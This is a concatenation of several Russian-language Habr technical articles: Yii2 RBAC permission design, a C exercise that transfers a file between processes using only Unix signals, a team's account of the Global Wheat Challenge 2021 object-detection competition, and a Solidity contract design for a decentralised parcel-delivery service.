Самый простой способ — это сформировать ключи разрешений из action контроллера в который мы попадаем.Можно добавить в ключ админка это или фронтенд часть, название контроллера и метода и метода запроса GET,POST,PUT,DELETE… что бы сформировать уникальное название разрешения на всем сайте. К примеру fr\_user\_profile\_get для фронтенда site.com.ua/user/profile методом GET
По ссылке ниже можно ознакомится с вариантами расположения проверки доступа:
[Альтернативная настройка RBAC](https://habrahabr.ru/post/235485/)
**Способ 1 — в методе контроллера**
```
public function actionIndex()
{
if (!\Yii::$app->user->can('index')) {
throw new ForbiddenHttpException('Access denied');
}
return $this->render('index');
}
```
**Способ 2 — прописать beforeAction**
```
public function beforeAction($action)
{
if (parent::beforeAction($action)) {
if (!\Yii::$app->user->can($action->id)) {
throw new ForbiddenHttpException('Access denied');
}
return true;
} else {
return false;
}
}
```
Итак, вы уже определились с местом проверки разрешения.Теперь организуем логику.
Чтобы была возможность конкретному пользователю запретить определенное разрешение, мы создаем разрешение и именовануем названием разрешения с постпрефиксом \_not которое при наличии у пользователя будет запрещать доступ, а проверка на наличие этого разрешения будет происходить в базовом правиле, от которого наследуются все правили для ролей и разрешений.
#### Проверка разрешения
```
/*
При проверки разрешения мы передаем массив параметров
конкретно в моем случае это класс который будет использован в правиле удаления/обновления
*/
if(!Yii::$app->user->can( 'ваш ключ разрешения',['class'=>static::class])){
throw new \yii\web\ForbiddenHttpException('Access denied role ');
}
```
**Стартовое создание ролей и правил**
```
// RULES
Yii::$app->authManager->removeAllRules();
//общая проверка во всех разрешениях без правил на отсутствие блокирующего разрешения
$BaseRule= new \common\rbac\BaseRule();
Yii::$app->authManager->add($BaseRule);
//только для разрешений
$RuleUpdateDelete=new \common\rbac\RuleUpdateDelete();
Yii::$app->authManager->add($RuleUpdateDelete);
// правило только для роли admin
$RuleForAdmin= new \common\rbac\RuleForAdmin();
Yii::$app->authManager->add($RuleForAdmin);
// правило только для роли customer
$RuleForCustomer= new \common\rbac\RuleForCustomer();
Yii::$app->authManager->add($RuleForCustomer);
// правило только для роли user
$RuleForUser= new \common\rbac\RuleForUser();
Yii::$app->authManager->add($RuleForUser);
// правило только для роли guest
$RuleForGuest= new \common\rbac\RuleForGuest();
Yii::$app->authManager->add($RuleForGuest);
// ROLES
Yii::$app->authManager->removeAllRoles();
$role_supper_admin = Yii::$app->authManager->createRole('supper_admin');
$role_supper_admin->description='supper_admin';
Yii::$app->authManager->add($role_supper_admin);
$role_admin = Yii::$app->authManager->createRole('admin');
$role_admin->description='Сотрудник admin';
$role_admin->ruleName=$RuleForAdmin->name;
Yii::$app->authManager->add($role_admin);
$role_customer = Yii::$app->authManager->createRole('customer');
$role_customer->description='Сотрудник customer';
$role_customer->ruleName=$RuleForCustomer->name;
Yii::$app->authManager->add($role_customer);
$role_user = Yii::$app->authManager->createRole('user');// авторизирован
$role_user->description='Авторизированный пользователь';
$role_user->ruleName=$RuleForUser->name;
Yii::$app->authManager->add($role_user);
$role_guest = Yii::$app->authManager->createRole('guest');// не авторизирован
$role_guest->description='Не авторизированный пользователь';
$role_guest->ruleName=$RuleForGuest->name;
Yii::$app->authManager->add($role_guest);
//наследование тольку у суппер админа
Yii::$app->authManager->addChild($role_supper_admin, $role_admin);
Yii::$app->authManager->addChild($role_supper_admin, $role_customer);
Yii::$app->authManager->addChild($role_supper_admin, $role_user);
Yii::$app->authManager->addChild($role_supper_admin, $role_guest);
```
#### При создании роли учесть
**create**
```
public function create(){
// общая проверка во всех разрешениях без правил на отсутствие блокирующего разрешения
$BaseRule= new BaseRule();
$role_new = Yii::$app->authManager->createRole($this->role);
$role_new->description=$this->description;
if($this->data)$role_new->data=$this->data;
// правило которое будет срабатывать при проверке на эту роль
$role_new->ruleName=$BaseRule->name;
Yii::$app->authManager->add($role_new);
// Добавление разрешений
if($role_new=Yii::$app->authManager->getRole($this->role)){
if(isset($this->permissions)){
foreach ($this->permissions as $permission=>$val){
$child= Yii::$app->authManager->getPermission($permission);
if($child instanceof yii\rbac\Permission &&
Yii::$app->authManager->canAddChild($role_new, $child))
{
Yii::$app->authManager->addChild($role_new, $child);
}
}
}
// Обязательно дабавляем новую роль к supper_admin так как он не имеет своих непосредственных разрешений
$role_supper_admin=Yii::$app->authManager->getRole('supper_admin');
if(Yii::$app->authManager->canAddChild($role_supper_admin, $role_new)){
Yii::$app->authManager->addChild($role_supper_admin, $role_new);
}
return true;
}else{
return false;
}
}
```
#### При создании разрешения учесть
**create**
```
public function create() {
/*
После валидации и инициализации аттрибутов
мы имеем $this->permission название разрешения
из котого мы должны понять какое правило ему назначить
базовое или для удаление/обновления которое также наследуется от базового.
Правило для удаления и обновления должно по мимо проверки запрещающих
разрешений еще проверять имеет ли конкретный пользователь к изменяемой информации отношение
(т.е. если пользователь этот комментарий создал то он может его и удалить или
изменить но другой пользователь кроме supper_admin,admin,customer)
В $permission->data можете сохранять полезню информацию о составляющих вашего ключа
что б при редактировании легче можно было найти источник его.
*/
if(preg_match('#.*(Delete|Put)$#', $this->method) ){
$Rule=Yii::$app->authManager->getRule('RuleUpdateDelete');
}else{
$Rule=Yii::$app->authManager->getRule('BaseRule');
}
$permission = Yii::$app->authManager->createPermission($this->permission);
$permission->description = $this->description;
// правило которое будет срабатывать при проверке на это разрешение
$permission->ruleName = $Rule->name;
$permission->data = [....];// ваши вспомогательные данные
Yii::$app->authManager->add($permission);
//Создаем роль-разрешение с поспрефиксом _not
$permission_not = Yii::$app->authManager->createPermission($this->permission.'_not');
$permission_not ->description = 'Для закрытия разрешения '.$this->permission;
Yii::$app->authManager->add($permission_not );
//Добавил в таблицу gr_auth_item поле isnot показывающее тип permission
return Yii::$app->db->createCommand("UPDATE `gr_auth_item` SET `isnot`= 1 WHERE type=2 AND name=:name")
->bindValue(":name", $this->permission.'_not',PDO::PARAM_STR)
->execute();
}
```
#### Базовое правило
**BaseRule**
```
/*
Проверка на роль supper_admin и запрещающее разрешение,
это требуется у всех ролей
*/
class BaseRule extends \yii\rbac\Rule
{
public $name ='BaseRule';
public function execute($user_id, $permission, $params)
{
if(Yii::$app->user->can('supper_admin') )return 1;
// при налии блокирующего разрешения у пользователя
if(Yii::$app->user->can($permission->name.'_not') )return false;
//Даже у роли admin и manager может быть блокирующее разрешение
return true;
}
}
```
#### Базовое правило роли
**RuleForUser**
```
//Правило для конкретной роли (присутствует у каждой роли кроме supper_admin)
//срабатывает при проверке на причастность к роли ...->can('user')
// к примеру user
/*
Обычная проверка на причастность к самой роли и базовая проверка от BaseRule
*/
class RuleForUser extends BaseRule
{
public $name='RuleForUser' ;
public function execute($user_id, $role, $params)
{
$parent= parent::execute($user_id, $role, $params);
if($parent===1)return true;
if($parent==false)return false;
if(isset(Yii::$app->authManager->getRolesByUser($user_id)[$role->name]))return true;
return false;
}
}
```
#### Правило требующее проверки на изменение
**RuleUpdateDelete**
```
/*
В нем мы также наследуемся от BaseRule
*/
class RuleUpdateDelete extends BaseRule
{
public $name = 'RuleUpdateDelete' ;
public function execute($user_id, $permission, $params)
{
// пропускаем базовые проверки
$parent= parent::execute($user_id, $permission, $params);
if($parent===1)return true;
if($parent==false)return false;
// пропускаем такие роли как admin и customer
if(Yii::$app->user->can('admin') || Yii::$app->user->can('customer'))return true;
if(isset($params['class']) && method_exists($params['class'], 'can') ){
// проверка принадлежности пользователя к изменяемому объекту
if(method_exists($params['class'], 'can'))
return $params['class']::can($user_id);
else return false;
}
return false;
}
}
```
Какую работу выполняет параметр $params в методе execute?
Когда мы выполняем проверку
```
if(!Yii::$app->user->can( 'ваш ключ разрешения',['class'=>static::class])){
throw new \yii\web\ForbiddenHttpException('Access denied role ');
}
```
мы передаем вторым параметром массив. В мое случае, это класс, который я использую для вызова одноименного метода can в этом классе, для проверки принадлежности конкретного пользователя к изменяемому объекту.
### Итог
Должны получить функционал, с помощью которого можно, гибко управлять правами и доступом ко всему сайту, иметь возможность без ограничений получить полный доступ с supper\_admin ролью, гибко настраивать разрешения у конкретных пользователей.
**good luck, [Jekshmek](https://habrahabr.ru/users/jekshmek/)** | https://habr.com/ru/post/327170/ | null | ru | null |
# Передача файла сигналами
Добрый день, хабражители. Наверняка все знают что такое сигналы в Linux и для чего они нужны. Но сегодня, я хотел бы рассказать о, как мне кажется, нетрадиционном их применении.
Задача очень надуманная и направленна на тренировку своих навыков работы с сигналами и, немножко, побитовыми операциями. В общем, задача:
*Программа должна порождать процесс, который посредством только сигналов передавал родителю файл, указанный в качестве аргумента командной строки. Родитель выводит полученный файл в stdout.*
Решение очень простое: будем пользоваться сигналами, как азбукой морзе, только использоваться будт **SIGUSR1** и **SIGUSR2** вместо «Точка» и «Тире».
#### Решение
Будем передавать файл побитово, с помощью сигналов **SIGUSR2** и **SIGUSR1**
Пускай **SIGUSR2** — бит равный нулю, **SIGUSR1** — бит равный единице.
##### Отправка данных
Читаем байт из файла в переменную **с**.
Создаем переменную **counter** равную 0b10000000 или 128.
Если **c** ***И*** (имеется в виду «побитовое и») **counter** равно единице, то старший бит равен единице, посылаем SIGUSR1, иначе посылаем SIGUSR2.
Делим counter пополам (получаем 0b01000000 или 64), то есть переходим ко второму слева биту.
Повторяем до тех пор, пока counter не станет равен нулю. Затем читаем новый байт из файла.
На языке Си это выглядит следующим образом:
```
while (read(fd, &c, 1) > 0) {
for ( i = 128; i >= 1; i /= 2) {
if ( i & c ) // 1
kill(ppid, SIGUSR1);
else // 0
kill(ppid, SIGUSR2);
}
```
##### Прием данных
Принимать мы будем в переменную **out\_char**, изначально равную нулю.
Пока **counter** не равен нулю обрабатываем сигналы следующим образом:
Если пришел **SIGUSR1**, то **out\_char += counter**, затем **counter /= 2**.
Если пришел **SIGUSR1**, то **counter /= 2**.
Напишем обработчики для сигналов:
```
// SIGUSR1
void one(int signo) {
out_char += counter;
counter /= 2;
}
// SIGUSR2
void zero(int signo) {
counter/=2;
}
```
#### Рабочий вариант
Теперь нужно рассмотреть случаи непредвиденной смерти родителя или ребёнка. Если умрет ребёнок, то всё просто — родитель получит **SIGCHLD**.
```
// SIGCHLD
void childexit(int signo) {
exit(EXIT_SUCCESS);
}
```
С ребёнком будет немного сложнее, нет гарантии что ребёнка как либо известят о смерти его родителя. Поэтому попросим ядро отправить нам **SIGALRM**, если никаких других сигналов нам не отправят через заданный промежуток времени. Добавим это в отправляющий цикл:
```
while (read(fd, &c, 1) > 0) {
// SIGALRM Будет получен если родитель не успеет ответить за секунду
alarm(1);
// Побитовые операции
for ( i = 128; i >= 1; i /= 2) {
if ( i & c ) // 1
kill(ppid, SIGUSR1);
else // 0
kill(ppid, SIGUSR2);
}
}
```
Добавим механизм подтверждения получения сигнала от ребёнка родителем. То есть, пока родитель не подтвердит получение бита, ребёнок передавать следующий не будет.
Делается это просто, в функции **one** и **zero** надо добавить отправку ответа. Будем отвечать сигналом **SIGUSR1**. После изменений функции будут выглядеть следующим образом:
```
// SIGUSR1
void one(int signo) {
out_char += counter;
counter /= 2;
kill(pid, SIGUSR1);
}
// SIGUSR2
void zero(int signo) {
counter/=2;
kill(pid, SIGUSR1);
}
```
А для ожидания ребёнком подтверждения добавим **sigsuspend(&set)**:
```
while (read(fd, &c, 1) > 0){
// SIGALRM Будет получен если родитель не успеет ответить за секунду
alarm(1);
// Побитовые операции
for ( i = 128; i >= 1; i /= 2){
if ( i & c ) // 1
kill(ppid, SIGUSR1);
else // 0
kill(ppid, SIGUSR2);
// приостанавливает процесс до получения сигнала
// Ждём подтверждения от родителя
sigsuspend(&set);
}
```
Функция выполняемая при приходе от родителя сигнала подтверждения хоть и пустая, но должна быть, иначе будет выполняться действие для сигнала по-умолчанию — Выход.
Собственно функция и **set**:
```
// Nothing
void empty(int signo) {
}
// SET
sigemptyset(&set); // очищает набор сигналов
// SIGUSR1 - empty()
struct sigaction act_empty;
memset(&act_empty, 0, sizeof(act_empty));
act_empty.sa_handler = empty;
sigfillset(&act_empty.sa_mask);
sigaction(SIGUSR1, &act_empty, NULL);
// SIGALRM - parentexit()
struct sigaction act_alarm;
memset(&act_alarm, 0, sizeof(act_alarm));
act_alarm.sa_handler = parentexit;
sigfillset(&act_alarm.sa_mask);
sigaction(SIGALRM, &act_alarm, NULL);
```
В родителе же маска сигналов должна быть следующей:
```
// SIGCHLD - exit
struct sigaction act_exit;
memset(&act_exit, 0, sizeof(act_exit));
act_exit.sa_handler = childexit;
sigfillset(&act_exit.sa_mask);
sigaction(SIGCHLD, &act_exit, NULL);
// SIGUSR1 - one()
struct sigaction act_one;
memset(&act_one, 0, sizeof(act_one));
act_one.sa_handler = one;
sigfillset(&act_one.sa_mask);
sigaction(SIGUSR1, &act_one, NULL);
// SIGUSR2 - zero()
struct sigaction act_zero;
memset(&act_zero, 0, sizeof(act_zero));
act_zero.sa_handler = zero;
sigfillset(&act_zero.sa_mask);
sigaction(SIGUSR2, &act_zero, NULL);
// Добавляем блокировки
sigaddset(&set, SIGUSR1);
sigaddset(&set, SIGUSR2);
sigaddset(&set, SIGCHLD);
sigprocmask(SIG_BLOCK, &set, NULL );
```
Так как в процессе работы программы произойдет порождение нового процесса, который сразу же начнет слать нам сигналы (данные), **sigprocmask(SIG\_BLOCK, &set, NULL )** нужно сделать обязательно до fork'а, иначе есть шанс получить ошибку из-за эффекта гонки (race condition).
В итоге программа будет выглядеть так:
```
int out_char = 0, counter = 128;
pid_t pid;
// Объявляем функции выполняемые по сигналам
// SIGCHLD
void childexit(int signo) {
exit(EXIT_SUCCESS);
}
// SIGALRM
void parentexit(int signo) {
exit(EXIT_SUCCESS);
}
// Nothing
void empty(int signo) {
}
// SIGUSR1
void one(int signo) {
out_char += counter;
counter /= 2;
kill(pid, SIGUSR1);
}
// SIGUSR2
void zero(int signo) {
counter/=2;
kill(pid, SIGUSR1);
}
int main(int argc, char ** argv){
if (argc != 2) {
fprintf(stderr, "Use: %s [source]\n", argv[0]);
exit(EXIT_FAILURE);
}
pid_t ppid = getpid(); // Запонимаем пид родителя, то есть приёмника
sigset_t set;
// Изменяем набор блокированых сигналов
// при SIGCHLD - выходим
struct sigaction act_exit;
memset(&act_exit, 0, sizeof(act_exit));
act_exit.sa_handler = childexit;
sigfillset(&act_exit.sa_mask);
sigaction(SIGCHLD, &act_exit, NULL);
// SIGUSR1 - one()
struct sigaction act_one;
memset(&act_one, 0, sizeof(act_one));
act_one.sa_handler = one;
sigfillset(&act_one.sa_mask);
sigaction(SIGUSR1, &act_one, NULL);
// SIGUSR2 - zero()
struct sigaction act_zero;
memset(&act_zero, 0, sizeof(act_zero));
act_zero.sa_handler = zero;
sigfillset(&act_zero.sa_mask);
sigaction(SIGUSR2, &act_zero, NULL);
//sigemptyset(&set);
// Добавляем блокировки
sigaddset(&set, SIGUSR1);
sigaddset(&set, SIGUSR2);
sigaddset(&set, SIGCHLD);
sigprocmask(SIG_BLOCK, &set, NULL );
sigemptyset(&set);
// Ветвимся
pid = fork();
// Ребёнок (Передатчик)
if (pid == 0) {
unsigned int fd = 0;
char c = 0;
sigemptyset(&set); // очищает набор сигналов
// SIGUSR1 - empty()
struct sigaction act_empty;
memset(&act_empty, 0, sizeof(act_empty));
act_empty.sa_handler = empty;
sigfillset(&act_empty.sa_mask);
sigaction(SIGUSR1, &act_empty, NULL);
// SIGALRM - parentexit()
struct sigaction act_alarm;
memset(&act_alarm, 0, sizeof(act_alarm));
act_alarm.sa_handler = parentexit;
sigfillset(&act_alarm.sa_mask);
sigaction(SIGALRM, &act_alarm, NULL);
if ((fd = open(argv[1], O_RDONLY)) < 0 ){
perror("Can't open file");
exit(EXIT_FAILURE);
}
int i;
while (read(fd, &c, 1) > 0){
// SIGALRM Будет получен если родитель не успеет ответить за секунду
alarm(1);
// Побитовые операции
for ( i = 128; i >= 1; i /= 2){
if ( i & c ) // 1
kill(ppid, SIGUSR1);
else // 0
kill(ppid, SIGUSR2);
// Ждём подтверждения от родителя
// приостанавливает процесс до получения сигнала
sigsuspend(&set);
}
}
// Файл кончился
exit(EXIT_SUCCESS);
}
errno = 0;
// Получаем пока ребёнок не умрёт
do {
if(counter == 0){ // Whole byte
write(STDOUT_FILENO, &out_char, 1); //
fflush(stdout);
counter=128;
out_char = 0;
}
sigsuspend(&set); // Ждём сигнал от ребёнка
} while (1);
exit(EXIT_SUCCESS);
}
```
Исходный код программы можно скачать [тут](http://narod.ru/disk/17500090001/trysignals.c.html).
Вот так можно передавать файлы от одной программы другой, с помощью одних лишь сигналов. Правда такой подход мало эффективен и я не думаю, что ему есть применение в реальных проектах.
Спасибо за внимание! | https://habr.com/ru/post/122823/ | null | ru | null |
# Global WHEAT CHALLENGE 2021 или как накормить весь мир
Представляю вашему внимаю обзор на соревнование [Global Wheat Challenge 2021](https://www.aicrowd.com/challenges/global-wheat-challenge-2021), а также делюсь своим опытом участия в нем.
### О соревновании
Данное соревнование проводилось на площадке [aicrowd.com](https://www.aicrowd.com/), аналоге [kaggle](https://www.kaggle.com/), и организатором был университет Саска́чеван. Денежные призы присуждались за первые три места: 1) 2000$; 2) 1000$; 3) 1000$.
Перед участниками стояла задача детектирования колосьев пшеницы на изображениях. Лучшая модель должна заместить ручной труд в задачах ученых-селекционеров и фермеров. На основе выхода работы нейронной сети ученым и фермерам будет легче посчитать их метрику качества плодородности пшеницы и выбрать наилучшую культуру для того или иного региона мира. В конечном итоге это должно повысить урожайность.
Стоит сказать, что это не первое соревнование, организованное этим университетом в рамках данной задачи. Так, например, в прошлом году он так же проводил соревнование на площадке [kaggle](https://www.kaggle.com/c/global-wheat-detection/overview).
### Датасет
Набор данных состоит из более чем 6000 изображений с разрешением 1024х1024 пикселей, содержащих свыше 300 тыс. уникальных колосьев пшеницы. Изображения получены из 11 стран и охватывают 44 уникальных сеанса измерений. Сеанс измерения — это набор изображений, полученных в одном и том же месте в течение нескольких часов. По сравнению с конкурсом 2020 года на Kaggle, он представляет 4 новые страны, 22 новых сеанса измерений, 1200 новых изображений и 120 тыс. новых голов пшеницы. Стоит отметить, что распределение между test и train было не стратифицировано относительно сеансов измерений, то есть в test попали изображения из стран и временных периодов, не встречающихся в train. Так организаторы пытались подтолкнуть участников создавать робастный метод детекции.
### Критерии оценки
Метрикой качества в данном соревновании выступала средняя точность по сеансам измерений. Для каждой картинки высчитывалась средняя точность:
Рамка считалась истинно найденной если Intersection over Union (IoU) > 0.5. Далее точность усреднялась по всем картинкам выбранного домена и далее по всем доменам. Более подробно можно почитать на [сайте соревнования](https://www.aicrowd.com/challenges/global-wheat-challenge-2021).
### Опыт участия
Первым делом были проанализированы лучшие решения прошлых соревнований. Было принято решение отталкиваться от реализации EfficientDet, и в частности от реализации [Alex`я Shonenkov`а](https://www.kaggle.com/shonenkov/training-efficientdet)(отдельное огромное спасибо ему!). Первые результаты тестов представлены в таблице, результаты приводятся на основе кросс-валидации (k=5):
| | | | |
| --- | --- | --- | --- |
| | train\_loss | valid\_loss | Publick liderboard (mean) |
| effdet5\_512 | 0.365 | 0.353 | 0.681 |
| effdet6\_768 | 0.358 | 0.371 | 0.742 |
| effdet7\_768 | 0.344 | 0.381 | 0.720 |
| effdet6 896\* | — | — | 0.754 |
| effdet6 1024\* | — | — | 0.739 |
\*- провести валидацию на всех 5 фолдах не удалось ввиду затратности по времени обучения каждого фолда.
Вычислительные мощности использовались [Google Colaboratory Pro](https://colab.research.google.com/). Тренировали нейронные сети со смешанной точностью с батчем 2 для экономии видеопамяти и ускорения вычислений. Однако, даже так не удалось обучить все 5 фолдов из-за нехватки времени.
Стоит сказать, что к середине соревнования я нашел единомышленника, который так же участвовал в данном мероприятии и мы сформировали команду. Так я узнал, что yolov4 (scaled yolov4) незначительно уступает efficientDet`у. В итоге мы решили отказаться от YOLO и сфокусироваться на efficientDet, возможно это наша главная ошибка, но обо все по порядку.
Одним из основных факторов к победе был правильный подбор параметров к Non Max Suppression (или [Weighted-Boxes-Fusion](https://github.com/ZFTurbo/Weighted-Boxes-Fusion)). Хочу отдельно поблагодарить ZFTurbo за реализацию его [библиотеки](https://github.com/ZFTurbo/Weighted-Boxes-Fusion). Достаточно быстро мы убедились, что WBF дает лучший результат даже на единственной модели.
Одно из главных препятствий с которыми мы столкнулись – было то, что автоматический подбор параметров (мы использовали байесовский подбор параметров) для WBF не дает результата, корреляции между Public Leaderboard (PLB) и нашей валидационной выборкой не было. Это связали с тем, что test сильно отличался от train, в test не встречались сеансы измерений из train. Так как тест был весьма велик и на PLB использовалось 50% теста мы решили доверять PLB. Согласен, не лучший подход, но мы так и не придумали как сделать грамотную валидацию. В итоге подбирали параметры мы эмпирически, основываясь на просмотре изображений вручную и PLB.
Далее мы взялись за ансамбли. Мы перепробовали множество вариантов ассемблирования, скажу кратко результат: в ансамбль вошли 1 лучший фолд effdet6 с разрешением 768 и 2 фолда effdet6\_896 с весами 1 для разрешения 768, и 2 для 896. Ансамбль даль прирост точности на PLB с 0.763 до 0.776.
```
results = []
results_conf = []
for preds in all_predictions_reshaped:
boxes = []
scores = []
labels = []
for one_model_pred in preds:
boxes.append(np.array(one_model_pred['boxes'])/1023)
scores.append(one_model_pred['scores'])
labels.append(np.ones(one_model_pred['scores'].shape[0]))
image_name = one_model_pred['image_name']
# print(boxes)
boxes_wbf, scores_wbf, labels_wbf = run_wbf(boxes, scores, labels,weights=[1, 2, 2])
boxes_wbf = boxes_wbf.astype(np.int32)
result = {
'image_name': image_name,
'PredString': format_prediction_string_with_final_thres(boxes_wbf, scores_wbf)
}
result_conf = {
'image_name': image_name,
'PredString': format_prediction_string_with_conf(boxes_wbf, scores_wbf)
}
results.append(result)
results_conf.append(result_conf)
```
На основе выхода данного ансамбля мы решили делать псевдолейблинг, думая, что нейронные сети начнут лучше определять колосья на незнакомых сеансах измерений. Мы зафайнтюнили лучшую нашу модель, а также обучили еще одну модель с нуля. Эти 2 модели так же вошли в ансамбль и дали прирост точности до 0.783 на PLB, что и оказалось нашим конечным решением.
```
boxes_wbf, scores_wbf, labels_wbf = run_wbf(boxes, scores, labels, weights=[1, 1, 2, 2, 3])
```
Где-то на этапе ассемблирования мы поняли, что нужна постобработка результатов и начали удалять колосья пшеницы, в которых ансамбль был не уверен после WBF, считаю это так же одним из ключевых моментов в нашем решении.
```
def format_prediction_string_with_final_thres(boxes, scores, final_thres=0.3):
pred_strings = []
for j in zip(scores, boxes):
if j[0] > final_thres:
pred_strings.append("{0} {1} {2} {3};".format(j[1][0],
j[1][1], j[1][2], j[1][3]))
return "".join(pred_strings)
```
Уже после соревнования мы расспросили других участников и оказалось, что единственная моделька yolov4 с весьма интересными параметрами давала почти такой же результат на PLB! Правда уже после открытия Private Leaderboard результат этого участника несколько ухудшился. Однако, считаю это нашим упущением, что мы довольно быстро отказались от YOLO.
В итоге к окончанию соревнования мы занимали 11 место на PLB с точностью 0.783 и оказались в ТОП10 после открытия Private Leaderboard c точностью 0.666. Стоит сказать, что лидерборд встряхнуло, но незначительно.
Исходный код предоставляю по [ссылке](https://drive.google.com/drive/folders/1XtSgNT-b1pRN5UN4BmSB-t5GQv_71jSE). Спасибо за внимание! | https://habr.com/ru/post/570434/ | null | ru | null |
# Переписываем приложение под Blockchain
Отмечу сразу, что данная статья не о том как писать код на Solidity, а как существующую классическую архитектуру вашего приложения можно перевести на рельсы blockchain и думать в ключе децентрализации.
Пару лет назад я работал над одним интересным веб приложением сервиса p2p доставки посылок. По определенным причинам разработку пришлось заморозить на этапе прототипа, так что я просто выложил исходный код на GitHub и забыл про него.
В последнее время по роду деятельности мне довелось поработать с несколькими проектами связанными с криптовалютой и blockchain-технологиями. Познакомившись ближе с Ethereum и его идеологией децентрализованных приложений (ĐApp) я просто заболел этой идеей: никакой цензуры, никто не может прикрыть ваш бизнес, никто не может конфисковать ваши средства, невозможно просто взять и выключить сервер на котором работает ваше приложение. В определенный момент я пришёл к выводу, что именно в такой среде мой проект может иметь шансы на жизнь.
Итак, взглянем на фронт работ.
Фронт работ
-----------
Изначальная идея проекта была в том, что люди которые часто путешествуют, могли бы перевозить что-нибудь в своих чемоданах или автомобилях. Этакий Uber для доставки. Пользователи делились на путешественников (осликов) и клиентов. Если вы собираетесь ехать, допустим, из Москвы в Минск на эти выходные, вы можете добавить в сервисе новую поездку (трип) с описанием того, что вы можете перевезти и когда. Клиенты, подписанные на данное направление, получали уведомление о новом трипе и могли добавлять запросы на доставку, например лекарства какие-нибудь или iPad для мамы. Стороны договаривались об оплате (самописный escrow на PayPal) и условиях доставки. После исполнения заказа стороны могли оставлять рейтинги и комментарии друг о друге. В профиле каждого пользователя имелась небольшая статистика.
Со временем произошло переосмысление некоторых пунктов в алгоритме работы сервиса. Стало ясно, что будет правильно если бы сначало клиенты добавляли свои заказы на перевозку, а ослики уже выбирали бы кому оказывать услугу. Далее вы увидите, как такая концепция обеспечивает гибкость и масштабируемость.
По сути нам надо переписать весь back-end на смарт контракты и задеплоиться на блокчейне. Приложение будет абсолютно открытым, неизменяемым (immutable), децентрализованным и, следовательно, свободным от регуляции даже самим разработчиком. Таким образом, мы получим децентрализованную платформу на базе которой любой человек сможет реализовать своё front-end, мобильное или серверное приложение.
Протокол работы подобного сервиса в краткой форме будет выглядеть следующим образом:
* Клиент добавляет Заказ на перевозку из точки A в точку Б
* Ослик может добавить Предложение на оказание услуги
* Клиент может добавить Ответ на Предложение
* Ослик выставляет Счёт на оплату Заказа с указанием суммы Предоплаты и Депозита
* Клиент оплачивает Счёт и может установить Ключ на снятие Депозита
* Ослик выполняет заказ и получает Ключ на снятие Депозита (QR-код например)
* Ослик в любой момент может возместить средства Клиенту
* Ослик и Клиент обмениваются рейтингами
Приступим
---------
Данный протокол будет реализован смарт контрактом на Solidity, который назовём Osliki. Для начала заведём переменные для хранения заказов, предложений, счетов и статистики:
```
Order[] public orders; // заказы
Offer[] public offers; // предложения (тут же будут храниться и ответы от клиентов)
Invoice[] public invoices; // счета
mapping (address => Stat) internal stats; // маппинг адреса пользователя к его статистике
```
Описание всех структур:
```
struct Order {
address customer; // ethereum-адрес клиента
string from; // гео координаты в формате "lat,lon" или ethereum-адрес "0x..." (например адрес принадлежащий магазину, ресторану, ферме или частному лицу) или просто пустое значение (например если важно что привезут, а не откуда)
string to; // тоже самое что и предыдущее
string params; // параметры посылки в формате "вес(кг),длина(м),ширина(м),высота(м)"
uint expires; // дата истечения срока действия, Unix-время в секундах
string message; // просто текст в свободной форме
uint[] offerIds; // массив id предложений
address carrier; // ethereum-адрес выбранного ослика для исполнения заказа
uint invoiceId; // прикрепленный оплаченный счёт
EnumOrderStatus status; // статус заказа
uint createdAt; // дата создания
uint updatedAt; // дата изменения
}
struct Offer {
address carrier; // ethereum-адрес ослика
uint orderId; // id заказа
string message; // текст предложения в свободной форме
string respond; // текст ответа от клиента в свободной форме.
uint createdAt;
uint updatedAt;
}
struct Invoice {
address sender; // ethereum-адрес ослика
uint orderId; // id заказа
uint prepayment; // сумма для предоплаты (может быть 0)
uint deposit; // сумма для депозита (может быть 0)
uint expires; // срок годности инвойса
EnumCurrency currency; // валюта в которой выставлен счёт
bytes32 depositHash; // хеш Ethereum-SHA-3 (Keccak-256) депозитного ключа (устанавливается клиентом в момент оплаты счета)
EnumInvoiceStatus status; // статус счёта
uint createdAt;
uint updatedAt;
}
struct Stat {
uint[] orders; // массив id заказов в которых участвовал юзер в качестве клиента или ослика
uint rateSum; // сумма оценок
uint rateCount; // количество оценок, средняя оценка averageRate = rateSum / rateCount
mapping (uint => Review) reviews; // маппинг id заказа к отзыву и оценке этого заказа
}
struct Review {
uint8 rate; // оценка между 1 и 5
string text; // текст отзыва
uint createdAt;
}
```
Статусы:
```
enum EnumOrderStatus { New, Process, Fulfilled }
enum EnumInvoiceStatus { New, Settled, Closed, Refund }
enum EnumCurrency { ETH, OSLIK } // оплата счетов в эфире (комиссия 1%) или в своих внутренних токенах OSLIK (без комиссии)
```
Далее не буду приводить тела функций, иначе займет слишком много места. Ниже будет ссылка на исходный код на GitHub.
Клиент добавляет Заказ:
```
function addOrder(
string from, // "" || "lat,lon" || ethereum-адрес "0x..."
string to, // "" || "lat,lon" || ethereum-адрес "0x..."
string params, // "weight(kg),length(m),width(m),height(m)"
uint expires,
string message
) public;
```
Ослик добавляет Предложение:
```
function addOffer(
uint orderId,
string message
) public;
```
Клиент отправляет Ответ:
```
function respond(
uint offerId,
string message
) public; // только один ответ на предложение
```
Ослик отправляет Счёт:
```
function addInvoice(
uint orderId,
uint prepayment,
uint deposit,
EnumCurrency currency, // ETH || OSLIKI
uint expires
) public;
```
Клиент оплачивает Счёт:
```
function pay(
uint invoiceId,
bytes32 depositHash // клиент отправляет хеш keccak256 ключа для доступа к депозиту, может быть пустым если нет депозита и все средства оплачены вперед
) public payable; // после оплаты, счёт прикрепляется к заказу и отправитель счёта считается выбранным в качестве исполнителя заказа
```
Ослик выполняет Заказ. К примеру при доставке Ослик сканирует QR-код у Клиента, в котором вшит Ключ от Депозита:
```
function fulfill(
uint orderId,
string depositKey // ключ который хешируется и сравнивается с depositHash, может быть пустым если депозита не было, в этом случае просто поменяется статус заказа на ‘Выполнен’
) public;
```
Ослик возвращает средства Клиенту если тот не доволен или что-то пошло не так в процессе:
```
function refund(
uint invoiceId
) public payable;
```
Стороны могут добавлять отзывы друг о друге с оценкой впечатления от Заказа:
```
function addReview(
uint orderId,
uint8 rate,
string text
) public; // тут же обновляем статистику
```
Плюс еще пачка функций для доступа к данным. В итоге у нас вышло 2 контракта:
* Контракт Osliki, который реализует наш протокол и является ядром платформы для построения любого бизнеса связанного или зависимого от доставки.
* Токен внутренней валюты OSLIK, который может использоваться для оплаты без комиссии. Токены можно распродать в рамках crowdfunding-а и привлечь средства на развитие и продвижение платформы и сервисов построенных на этой платформе.
Примеры
-------
